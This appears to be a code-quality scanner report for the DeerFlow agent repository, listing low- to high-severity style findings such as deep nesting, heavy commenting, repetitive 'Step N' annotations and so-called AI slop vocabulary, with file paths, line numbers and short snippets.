LOW	backend/app/gateway/authz.py	53	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/trace_middleware.py	20	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/auth.py	41	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/gateway/routers/auth.py	156	def _set_session_cookie(response: Response, token: str, request: Request, *, remember_me: bool \| None = None) -> None:	CODE
LOW	backend/app/gateway/routers/auth.py	587	def _set_csrf_cookie(response: Response, request: Request) -> None:	CODE
LOW⚡	backend/app/gateway/routers/console.py	31	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/suggestions.py	15	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/models.py	15	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/skills.py	37	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/thread_runs.py	49	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/gateway/routers/feedback.py	19	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/channel_connections.py	25	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/__init__.py	17	__all__ = [	CODE
LOW	backend/app/gateway/routers/agents.py	25	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/browser.py	16	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/assistants_compat.py	20	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/threads.py	76	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/mcp.py	28	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/channels.py	12	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/artifacts.py	30	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/uploads.py	40	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/github_webhooks.py	39	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/runs.py	23	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/integrations.py	34	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/input_polish.py	12	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/local_provider.py	10	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/oidc.py	20	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/config.py	9	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/config.py	82	def set_auth_config(config: AuthConfig) -> None:	CODE
LOW	backend/app/gateway/auth/oidc_state.py	91	def set_state_cookie(response: Response, request: Request, payload: OIDCStatePayload) -> None:	CODE
LOW	backend/app/gateway/auth/__init__.py	18	__all__ = [	CODE
LOW	backend/app/gateway/auth/session_cookie.py	22	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/user_provisioning.py	19	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/github/dispatcher.py	38	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/github/registry.py	37	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/github/app_auth.py	33	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/github/run_policy.py	22	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/store.py	13	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/service.py	19	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/message_bus.py	15	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/dingtalk.py	25	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/telegram.py	25	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/discord.py	18	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/__init__.py	11	__all__ = [	CODE
LOW	backend/app/channels/wechat.py	31	logger = logging.getLogger(__name__)	CODE
336 more matches not shown…

Deep Nesting348 hits · 286 pts

Severity	File	Line	Context
LOW	backend/debug.py	63	CODE
LOW	backend/app/mcp_tasks/service.py	391	CODE
LOW	backend/app/gateway/deps.py	192	CODE
LOW	backend/app/gateway/services.py	292	CODE
LOW	backend/app/gateway/services.py	643	CODE
LOW	backend/app/gateway/services.py	1165	CODE
LOW	backend/app/gateway/services.py	1291	CODE
LOW	backend/app/gateway/auth_middleware.py	89	CODE
LOW	backend/app/gateway/routers/auth.py	200	CODE
LOW	backend/app/gateway/routers/auth.py	465	CODE
LOW	backend/app/gateway/routers/console.py	427	CODE
LOW	backend/app/gateway/routers/models.py	50	CODE
LOW	backend/app/gateway/routers/models.py	138	CODE
LOW	backend/app/gateway/routers/thread_runs.py	925	CODE
LOW	backend/app/gateway/routers/thread_runs.py	1154	CODE
LOW	backend/app/gateway/routers/scheduled_tasks.py	158	CODE
LOW	backend/app/gateway/routers/browser.py	207	CODE
LOW	backend/app/gateway/routers/browser.py	376	CODE
LOW	backend/app/gateway/routers/browser.py	430	CODE
LOW	backend/app/gateway/routers/threads.py	1483	CODE
LOW	backend/app/gateway/routers/threads.py	1539	CODE
LOW	backend/app/gateway/routers/mcp.py	763	CODE
LOW	backend/app/gateway/routers/mcp.py	962	CODE
LOW	backend/app/gateway/routers/artifacts.py	240	CODE
LOW	backend/app/gateway/routers/artifacts.py	496	CODE
LOW	backend/app/gateway/routers/uploads.py	302	CODE
LOW	backend/app/gateway/routers/github_webhooks.py	173	CODE
LOW	backend/app/gateway/github/triggers.py	82	CODE
LOW	backend/app/gateway/github/registry.py	75	CODE
LOW	backend/app/gateway/github/identity.py	62	CODE
LOW	backend/app/channels/dingtalk.py	99	CODE
LOW	backend/app/channels/dingtalk.py	382	CODE
LOW	backend/app/channels/dingtalk.py	521	CODE
LOW	backend/app/channels/telegram.py	136	CODE
LOW	backend/app/channels/discord.py	182	CODE
LOW	backend/app/channels/discord.py	465	CODE
LOW	backend/app/channels/wechat.py	547	CODE
LOW	backend/app/channels/wechat.py	1030	CODE
LOW	backend/app/channels/feishu.py	355	CODE
LOW	backend/app/channels/feishu.py	664	CODE
LOW	backend/app/channels/feishu.py	789	CODE
LOW	backend/app/channels/feishu.py	822	CODE
LOW	backend/app/channels/feishu.py	1051	CODE
LOW	backend/app/channels/buzz.py	319	CODE
LOW	backend/app/channels/buzz.py	901	CODE
LOW	backend/app/channels/manager.py	343	CODE
LOW	backend/app/channels/manager.py	422	CODE
LOW	backend/app/channels/manager.py	463	CODE
LOW	backend/app/channels/manager.py	635	CODE
LOW	backend/app/channels/manager.py	884	CODE
LOW	backend/app/channels/manager.py	1693	CODE
LOW	backend/app/channels/manager.py	1751	CODE
LOW	backend/app/channels/manager.py	2145	CODE
LOW	backend/app/channels/manager.py	2302	CODE
LOW	backend/app/channels/manager.py	2440	CODE
LOW	backend/app/channels/base.py	352	CODE
LOW	backend/app/channels/slack.py	325	CODE
LOW	backend/app/channels/wecom.py	268	CODE
LOW	backend/tests/manual_browser_live_check.py	121	CODE
LOW	backend/tests/test_extension_subagent_lifecycle.py	30	CODE
288 more matches not shown…

AI Slop Vocabulary100 hits · 266 pts

Severity	File	Line	Snippet	Context
MEDIUM	config.example.yaml	255	# Install: cd backend && uv pip install 'deerflow-harness[ollama]'	COMMENT
MEDIUM	config.example.yaml	1479	# cold start. Requires the optional SDK: pip install "deerflow-harness[tenki]".	COMMENT
MEDIUM	config.example.yaml	1500	# the optional SDK: pip install "deerflow-harness[opensandbox]".	COMMENT
MEDIUM	docker/dev-entrypoint.sh	13	# workspace member extras (deerflow-harness's	COMMENT
MEDIUM	docker/lark-cli-broker/entrypoint.sh	11	# no third-party dependencies, so no harness install is needed in this image.	COMMENT
MEDIUM	docker/lark-cli-init/build-runtime.sh	69	# backend/packages/harness/deerflow/integrations/lark_cli.py	COMMENT
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	168	"content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	365	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	307	"content": "[\n {\n \"title\": \"Startup Industry Trends in 2026 - Qubit Capital\",\n \"url\": \"https://	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	383	"content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	483	"content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by accele	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	483	"content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by accele	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	550	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	1376	"content": "I've created a modern, minimalist website showcasing the 2026 trends and opportunities analysis. The	CODE
MEDIUM⚡	…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json	563	"content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u	CODE
MEDIUM⚡	…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json	563	"content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u	CODE
MEDIUM⚡	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	53	"content": "# Tips For Technical Startup Founders \| Startup School\n\n# Tips For Technical Startup Founders \| St	CODE
LOW⚡	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	53	"content": "# Tips For Technical Startup Founders \| Startup School\n\n# Tips For Technical Startup Founders \| St	CODE
MEDIUM⚡	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	53	"content": "# Tips For Technical Startup Founders \| Startup School\n\n# Tips For Technical Startup Founders \| St	CODE
MEDIUM	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	225	"content": "[\n {\n \"title\": \"Diana Hu - Partner at Y Combinator \| LinkedIn\",\n \"url\": \"https://ww	CODE
MEDIUM	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	1173	"content": "I've thoroughly analyzed Diana Hu's Y Combinator talk and conducted deep research on her background	CODE
MEDIUM	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	53	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
LOW⚡	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	64	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
MEDIUM	…reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json	52	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	694	"content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	694	"content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	732	"content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation \| by heavendai \| Medium\n\n[S	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	732	"content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation \| by heavendai \| Medium\n\n[S	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	46	"content": "---\nname: github-deep-research\ndescription: Conduct multi-round deep research on any GitHub Repo.	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	883	"content": "# 🦌 DeerFlow\n\n# Deep Researchat Your Fingertipsat Your Fingertips\n\nMeet DeerFlow, your personal	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1637	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
MEDIUM	…reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json	204	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
LOW⚡	…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json	186	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
MEDIUM	…reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json	52	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
MEDIUM	deploy/helm/deer-flow/values.yaml	268	# resolved by the harness before the config is instantiated.	COMMENT
MEDIUM	backend/pyproject.toml	9	# Direct dependency on purpose, even though deerflow-harness already pulls	COMMENT
MEDIUM	backend/pyproject.toml	14	# app declares them rather than relying on the harness to keep supplying it.	COMMENT
MEDIUM⚡	backend/pyproject.toml	66	# Monocle tracer (also the deerflow-harness[monocle] extra); kept in the dev	COMMENT
MEDIUM⚡	backend/pyproject.toml	69	# redis is an optional runtime extra (deerflow-harness[redis]); pin it in the	COMMENT
MEDIUM⚡	backend/pyproject.toml	73	# TUI runtime dep (also declared as the deerflow-harness[tui] extra); kept in	COMMENT
MEDIUM	backend/app/gateway/services.py	690	# harness's private run-context channels (skill secret-binding	COMMENT
40 more matches not shown…

Over-Commented Block346 hits · 250 pts

Severity	File	Line	Snippet	Context
LOW	config.example.yaml	1	# Configuration for the DeerFlow application	COMMENT
LOW	config.example.yaml	21	# Logging	COMMENT
LOW	config.example.yaml	41	# lead-only vs subagent-only configuration is not expressible yet. Treat these	COMMENT
LOW	config.example.yaml	61	# ============================================================================	COMMENT
LOW	config.example.yaml	81	hard_stop_threshold: 1.0 # Force stop at 100% of the budget	COMMENT
LOW	config.example.yaml	101	# - `max_tokens` is the per-call OUTPUT cap passed to the provider.	COMMENT
LOW	config.example.yaml	121	# Example: Volcengine (Doubao) model	COMMENT
LOW	config.example.yaml	141	# type: disabled	COMMENT
LOW	config.example.yaml	161	# thinking:	COMMENT
LOW	config.example.yaml	181	# thinking:	COMMENT
LOW	config.example.yaml	201	# use: deerflow.models.patched_deepseek:PatchedChatDeepSeek	COMMENT
LOW	config.example.yaml	221	# Example: OpenAI model	COMMENT
LOW	config.example.yaml	241	# max_retries: 2	COMMENT
LOW	config.example.yaml	261	# base_url: http://localhost:11434 # No /v1 suffix — uses native /api/chat	COMMENT
LOW	config.example.yaml	281	# For Docker deployments, use host.docker.internal instead of localhost:	COMMENT
LOW	config.example.yaml	301	# thinking:	COMMENT
LOW	config.example.yaml	321	# Use PatchedChatOpenAI so that tool-call thought_signature values on tool_calls	COMMENT
LOW	config.example.yaml	341	# when_thinking_disabled:	COMMENT
LOW	config.example.yaml	361	# model: mimo-v2.5-pro	COMMENT
LOW	config.example.yaml	381	# use: deerflow.models.patched_deepseek:PatchedChatDeepSeek	COMMENT
LOW	config.example.yaml	401	# use: deerflow.models.patched_deepseek:PatchedChatDeepSeek	COMMENT
LOW	config.example.yaml	421	# See: https://novita.ai	COMMENT
LOW	config.example.yaml	441	# type: disabled	COMMENT
LOW	config.example.yaml	461	# supports_vision: true	COMMENT
LOW	config.example.yaml	481	# temperature: 1.0 # MiniMax requires temperature in (0.0, 1.0]	COMMENT
LOW	config.example.yaml	501	# NOTE: M2.x models always think — passing thinking:{type:disabled} has no	COMMENT
LOW	config.example.yaml	521	# display_name: MiniMax M2.7 Highspeed	COMMENT
LOW	config.example.yaml	541	# base_url: https://api.minimaxi.com/v1	COMMENT
LOW	config.example.yaml	561	# extra_body:	COMMENT
LOW	config.example.yaml	581	# supports_vision: false # M2.7 is text-only; M3 supports vision	COMMENT
LOW	config.example.yaml	601	# use: langchain_openai:ChatOpenAI	COMMENT
LOW	config.example.yaml	621	# request_timeout: 600.0	COMMENT
LOW	config.example.yaml	641	# when_thinking_enabled:	COMMENT
LOW	config.example.yaml	661	# base_url: http://localhost:8000/v1	COMMENT
LOW	config.example.yaml	681	# api_key: $OPENAI_API_KEY	COMMENT
LOW	config.example.yaml	701	- name: web	COMMENT
LOW	config.example.yaml	721	# Configure stable IDs only to restrict scope. IDs and catalog listing never	COMMENT
LOW	config.example.yaml	741	use: deerflow.community.ddg_search.tools:web_search_tool	COMMENT
LOW	config.example.yaml	761	# - name: web_search	COMMENT
LOW	config.example.yaml	781	# https://brave.com/search/api/ to get a key. Unlike the DuckDuckGo	COMMENT
LOW	config.example.yaml	801	# search_time_range: 10	COMMENT
LOW	config.example.yaml	821	# contents_max_characters: 1000	COMMENT
LOW	config.example.yaml	841	# # api_key: $GROUNDROUTE_API_KEY # Optional if the env var is set	COMMENT
LOW	config.example.yaml	861	# base_url: http://localhost:3032 # Browserless instance URL (default: :3032; Docker: http://browserless:3000)	COMMENT
LOW	config.example.yaml	881	# Comment out the Jina AI web_fetch entry below before enabling this one.	COMMENT
LOW	config.example.yaml	901	# # token: $BROWSERLESS_TOKEN # Required for Browserless Cloud; optional for self-hosted	COMMENT
LOW	config.example.yaml	921	# cd backend && uv sync --extra browser && uv run playwright install chromium	COMMENT
LOW	config.example.yaml	941	# # # so you watch the agent drive your real browser	COMMENT
LOW	config.example.yaml	961	# use: deerflow.community.browser_automation.tools:browser_get_text_tool	COMMENT
LOW	config.example.yaml	981	# Web fetch tool (uses Jina AI reader)	COMMENT
LOW	config.example.yaml	1001		COMMENT
LOW	config.example.yaml	1021	# - name: web_fetch	COMMENT
LOW	config.example.yaml	1041	# # Image size filter. Options: "l" (large), "m" (medium), "i" (icon).	COMMENT
LOW	config.example.yaml	1101		COMMENT
LOW	config.example.yaml	1181	warn_threshold: 3	COMMENT
LOW	config.example.yaml	1201	# Three transition paths (determined by deerflow_tool_meta.recoverable_by_model):	COMMENT
LOW	config.example.yaml	1221	# ============================================================================	COMMENT
LOW	config.example.yaml	1241	# Detectors are loaded by class path via reflection (same pattern as	COMMENT
LOW	config.example.yaml	1261	# Example — add a custom detector for an in-house provider:	COMMENT
LOW	config.example.yaml	1281	# isolation applies. Keep this disabled unless uploads come from a fully	COMMENT
286 more matches not shown…

Structural Annotation Overuse124 hits · 215 pts

Severity	File	Line	Snippet	Context
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	168	"content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	365	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	64	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json	186	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	backend/tests/test_multi_worker_run_ownership.py	2251	# Step 1: cancel(action=rollback) flips running → interrupted	COMMENT
LOW⚡	backend/tests/test_multi_worker_run_ownership.py	2257	# Step 2: worker.py finalize path — task raises CancelledError, then	COMMENT
LOW	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	82	# Step 1: Start a container (simulating previous process lifecycle)	COMMENT
LOW	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	94	# Step 2: Create backend and list running containers	COMMENT
LOW⚡	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	105	# Step 3: list_running should find our container	COMMENT
LOW⚡	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	110	# Step 4: Simulate reconciliation — this container's created_at is recent,	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	166	# Step 2: Basic streaming (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	227	# Step 3: Tool call flow (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	263	# Step 4: File upload integration (no LLM needed for most)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	347	# Step 5: Lifecycle and configuration (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	404	# Step 6: Middleware chain verification (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	442	# Step 7: Error and boundary conditions	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	487	# Step 8: Artifact access (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	542	# Step 9: Skill installation (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	639	# Step 10: Configuration management (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	776	# Step 11: Memory access (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	295	# Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	302	# Step 2: Now trigger handler that raises GraphBubbleUp	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	323	# Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	330	# Step 2: Now trigger handler that raises GraphBubbleUp	COMMENT
LOW⚡	backend/tests/test_client.py	2545	# Step 2: List	COMMENT
LOW⚡	backend/tests/test_client.py	2550	# Step 3: Delete one	COMMENT
LOW⚡	backend/tests/test_client.py	2554	# Step 4: Verify deletion	COMMENT
LOW	backend/tests/test_client.py	2533	# Step 1: Upload	COMMENT
LOW	backend/tests/test_client.py	2942	# Step 1: Install	COMMENT
LOW	backend/tests/test_client.py	2954	# Step 2: List and find it	COMMENT
LOW	backend/tests/test_client.py	2966	# Step 3: Disable it	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	361	# Step 1: Server returns masked config (simulates GET response)	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	366	# Step 2: Frontend toggles enabled and sends back (simulates PUT request)	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	369	# Step 3: Server merges with existing secrets (simulates PUT handler)	COMMENT
LOW	backend/docs/SSO.md	56	### Step 1: Enable OIDC in `config.yaml`	COMMENT
LOW	backend/docs/SSO.md	76	### Step 2: Set the client secret as an environment variable	COMMENT
LOW	backend/docs/SSO.md	88	### Step 3: Restart the backend	COMMENT
LOW⚡	backend/packages/harness/deerflow/subagents/registry.py	122	# Step 1: Look up built-in, then fall back to custom_agents	COMMENT
LOW⚡	backend/packages/harness/deerflow/subagents/registry.py	131	# Step 2: Apply per-agent overrides from config.yaml agents section.	COMMENT
LOW	…arness/deerflow/community/aio_sandbox/local_backend.py	677	# Step 1: enumerate container names via docker ps	COMMENT
LOW	…arness/deerflow/community/aio_sandbox/local_backend.py	712	# Step 2: batched docker inspect — single subprocess call for all containers	COMMENT
LOW	…owers/plans/2026-06-08-minimax-generation-providers.md	1430	### Step 1: Understand Requirements	COMMENT
LOW	…owers/plans/2026-06-08-minimax-generation-providers.md	1435	### Step 2: Create the Spec JSON	COMMENT
LOW	…owers/plans/2026-06-08-minimax-generation-providers.md	1459	### Step 3: Execute Generation	COMMENT
LOW	skills/public/music-generation/SKILL.md	16	### Step 1: Understand Requirements	COMMENT
LOW	skills/public/music-generation/SKILL.md	21	### Step 2: Create the Spec JSON	COMMENT
LOW	skills/public/music-generation/SKILL.md	45	### Step 3: Execute Generation	COMMENT
LOW⚡	skills/public/image-generation/SKILL.md	21	### Step 1: Understand Requirements	COMMENT
LOW⚡	skills/public/image-generation/SKILL.md	31	### Step 2: Create Structured Prompt	COMMENT
LOW⚡	skills/public/image-generation/SKILL.md	35	### Step 3: Execute Generation	COMMENT
LOW	skills/public/surprise-me/SKILL.md	12	### Step 1: Discover Available Skills	COMMENT
LOW	skills/public/surprise-me/SKILL.md	16	### Step 2: Plan the Surprise	COMMENT
LOW⚡	skills/public/surprise-me/SKILL.md	33	### Step 3: Fallback — No Other Skills Available	COMMENT
LOW⚡	skills/public/surprise-me/SKILL.md	41	### Step 4: Execute	COMMENT
LOW⚡	skills/public/surprise-me/SKILL.md	48	### Step 5: Reveal	COMMENT
LOW	skills/public/find-skills/SKILL.md	35	### Step 1: Understand What They Need	COMMENT
LOW	skills/public/find-skills/SKILL.md	43	### Step 2: Search for Skills	COMMENT
LOW	skills/public/find-skills/SKILL.md	66	### Step 3: Present Options to the User	COMMENT
64 more matches not shown…

Docstring Block Structure38 hits · 190 pts

Severity	File	Line	Snippet	Context
HIGH	backend/CONTRIBUTING.md	131	Create a chat model instance from configuration. Args: name: The model name as defined in config.yaml	STRING
HIGH	backend/app/gateway/path_utils.py	12	Resolve a virtual path to the actual filesystem path under thread user-data. Args: thread_id: The thread ID	STRING
